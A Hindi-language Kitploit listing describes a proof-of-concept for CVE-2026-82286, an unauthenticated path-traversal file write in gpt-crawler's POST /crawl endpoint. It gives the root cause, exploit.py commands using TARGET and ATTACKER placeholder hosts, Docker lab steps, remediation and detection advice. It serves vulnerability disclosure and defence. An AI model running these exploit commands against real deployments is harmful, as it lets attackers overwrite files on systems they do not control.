Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-82286-gpt-crawler-Arbitrary-File-Write — CVE-2026-82286 — gpt-crawler <=1.5.1 में outputFileName (POST /crawl) के माध्यम से बिना प्रमाणीकरण के मनमाना फ़ाइल लेखन। PoC + स्व-निहित Docker लैब। CVSS 8.6, CWE-22। | Kitploit
उपकरण/GitHubGitHub/biitts/cve-2026-82286-gpt-crawler-arbitrary-file-write
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubbiitts/cve-2026-82286-gpt-crawler-arbitrary-file-write

CVE-2026-82286-gpt-crawler-Arbitrary-File-Write

CVE-2026-82286 — gpt-crawler <=1.5.1 में outputFileName (POST /crawl) के माध्यम से बिना प्रमाणीकरण के मनमाना फ़ाइल लेखन। PoC + स्व-निहित Docker लैब। CVSS 8.6, CWE-22।

रिपॉजिटरी देखें
1 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-82286 — gpt-crawler अनधिकृत मनमाना फ़ाइल लेखन

BuilderIO/gpt-crawler (≈22k ★) में अनधिकृत मनमाना फ़ाइल लेखन के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो POST /crawl API एंडपॉइंट के outputFileName पैरामीटर के माध्यम से होता है।

CVECVE-2026-82286
उत्पादgpt-crawler (BuilderIO)
प्रभावित<= 1.5.1 (नवीनतम रिलीज़; डिफ़ॉल्ट ब्रांच HEAD भी प्रभावित)
वर्गपाथ ट्रैवर्सल / मनमाना फ़ाइल लेखन (CWE-22, CWE-73)
CVSS 3.18.6 — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L (उच्च)
प्रमाणीकरणकोई नहीं (अनधिकृत)
पूर्वशर्तAPI सर्वर मोड चालू (npm run start:server)
स्थितिपुष्टि एंड-टू-एंड (2026-08-29 तक अनपैच्ड)

मूल कारण

API सर्वर (src/server.ts) बिना किसी प्रमाणीकरण के POST /crawl को उजागर करता है। JSON बॉडी को सीधे क्रॉलर Config में पार्स किया जाता है; outputFileName को केवल z.string() के रूप में मान्य किया जाता है — कोई पाथ प्रतिबंध नहीं है:

root@kitploit:~
// src/config.ts
outputFileName: z.string(),

src/core.ts में, write() आउटपुट पाथ को सीधे उस हमलावर-नियंत्रित स्ट्रिंग से बनाता है और उस पर fs.writeFile() को कॉल करता है:

root@kitploit:~
// src/core.ts  (write)
const nextFileName = (): string =>
  `${config.outputFileName.replace(/\.json$/, "")}-${fileCounter}.json`;
...
await writeFile(nextFileNameString, JSON.stringify(currentResults, null, 2));

इसलिए, एक दूरस्थ, अनधिकृत हमलावर इच्छित storage/ आउटपुट क्षेत्र के बाहर लिखी गई फ़ाइल के पूर्ण पाथ को नियंत्रित करता है — निरपेक्ष पाथ (/tmp/x, /home/<user>/x) या ../ ट्रैवर्सल के माध्यम से। फ़ाइल सामग्री क्रॉल परिणाम [{title,url,html}] है, जिसके फ़ील्ड उस पेज से आते हैं जिस पर हमलावर क्रॉलर को इंगित करता है (url को आपके नियंत्रित सर्वर पर सेट करें), इसलिए सामग्री हमलावर-प्रभावित होती है।

एकमात्र बाधा अनिवार्य -<N>.json प्रत्यय (नाम हमेशा .json में समाप्त होता है) और JSON-सरणी सामग्री रैपर है — यही कारण है कि इसे स्वच्छ RCE के बजाय मनमाना फ़ाइल लेखन (I:H) के रूप में स्कोर किया गया है।

शोषण

root@kitploit:~
python3 exploit.py \
  -t http://TARGET:3000 \
  -u http://ATTACKER:8081/index.html \   # पेज जिसकी सामग्री लिखी गई फ़ाइल में आती है
  -o /home/myuser/PWNED                    # -> /home/myuser/PWNED-1.json लिखता है

एंडपॉइंट HTTP प्रतिक्रिया में लिखी गई फ़ाइल की सामग्री को प्रतिबिंबित करता है। अनुभवजन्य प्रमाण लक्ष्य फ़ाइल सिस्टम पर हमलावर-चुने गए पाथ पर फ़ाइल का दिखना है (EVIDENCE.txt देखें)।

पुनरुत्पादन

root@kitploit:~
cd lab && ./run.sh
python3 ../exploit.py -t http://127.0.0.1:3000 -u http://127.0.0.1:8081/index.html -o /tmp/PWNED
docker exec gptc-vuln cat /tmp/PWNED-1.json     # <- storage/ के बाहर लिखा गया, अनधिकृत

टियरडाउन: docker rm -f gptc-vuln; pkill -f 'http.server 8081'।

प्रभाव

एक अनधिकृत नेटवर्क हमलावर मनमाने पाथ पर फ़ाइलें बना या अधिलेखित कर सकता है (प्रक्रिया उपयोगकर्ता की अनुमतियों और -<N>.json प्रत्यय के अधीन) आंशिक रूप से हमलावर-नियंत्रित सामग्री के साथ। तैनाती के आधार पर यह कॉन्फ़िगरेशन/डेटा फ़ाइलों के साथ छेड़छाड़, एप्लिकेशन स्थिति को नष्ट करना (अखंडता/उपलब्धता), और लक्ष्यों पर जो बाद में लिखी गई *.json फ़ाइल का उपभोग करते हैं, आगे श्रृंखलाबद्ध किया जा सकता है।

प्रभावित सतह नोट

सिंक केवल API सर्वर मोड (src/server.ts, npm run start:server / containerapp तैनाती के माध्यम से शुरू) में पहुंच योग्य है, डिफ़ॉल्ट CLI मोड में नहीं। सर्वर API_HOST (डिफ़ॉल्ट localhost) को बांधता है; वास्तविक तैनाती जो API को उजागर करती हैं, इसे 0.0.0.0 पर सेट करती हैं (जैसा कि containerapp छवि करती है), जिससे एंडपॉइंट दूरस्थ रूप से पहुंच योग्य हो जाता है।

उपचार

  • outputFileName को एक निश्चित आधार निर्देशिका के विरुद्ध हल करें और परिणाम को अस्वीकार करें यदि यह उससे बाहर निकलता है (path.resolve(base, name) + उपसर्ग जांच); .. और निरपेक्ष पाथ हटाएं।
  • POST /crawl में प्रमाणीकरण/प्राधिकरण जोड़ें।
  • क्रॉल आउटपुट फ़ाइलनाम को सर्वर-नियंत्रित मानें, क्लाइंट-आपूर्ति नहीं।

पहचान

POST /crawl बॉडी देखें जिनके outputFileName में /, \, या .. होता है, और क्रॉलर की storage/ निर्देशिका के बाहर दिखाई देने वाली *-1.json फ़ाइलों के लिए।

श्रेय

अनुसंधान और PoC: Caio Fabrício (BiiTts)।

टूल डाउनलोड करें